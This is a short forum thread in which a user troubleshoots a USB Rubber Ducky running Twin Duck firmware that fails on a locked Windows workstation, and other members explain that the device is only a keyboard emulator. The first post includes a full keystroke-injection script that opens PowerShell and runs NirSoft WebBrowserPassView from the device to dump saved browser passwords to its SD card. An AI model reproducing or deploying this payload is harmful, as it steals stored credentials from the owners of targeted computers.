Twin Ducky does not run correctly on locked workstation

[neutinq]

This is really weird. I flashed my usb rubber ducky with twin ducky firmware via ducky flasher on Kali. Tried both regular and GPIO button ones, same result.

I am running a webbrowserpassview from nirsoft via inject.bin. When the workstation is unlocked, it runs correctly, provides password.txt file saved on the ducky SD card partition.

As soon as I lock the machine and insert the ducky/press the button, it starts blinking red/blue like it does something, but in the end just starts typing all of the script commands inside user logon prompt and not in the background?!

What am I doing wrong, guys? Please advise

DELAY 3000
GUI R
DELAY 200
STRING powershell
DELAY 200
ENTER
DELAY 2000
STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'Z' } | select name
DELAY 200
ENTER
DELAY 200
STRING cd $usbPath.name; ./p.exe /stext password.txt
DELAY 200
ENTER
STRING exit
DELAY 200
ENTER

Thank you

 

[Lord_KamOS]

Please delete this thread, and learn a bit more on how the ducky works.

 

 

[quentin_lamamy]

neutinq, keep in mind that the rubber ducky is a kind of automated keyboard. Most of the time If your regular keyboard can't do something, your rubber ducky can't do it.

You can read the documentation here and search for awesome hak5 video on YT about the rubber ducky
here

 

Edited July 28, 2017 by quentin.lamamy

[neutinq]

My bad, guys. Was testing lan turtle lately and it got me confused I could collect some data while the workstation is locked with rubber ducky as well. Thank you for pointing that out to me.

[neutinq]

Please delete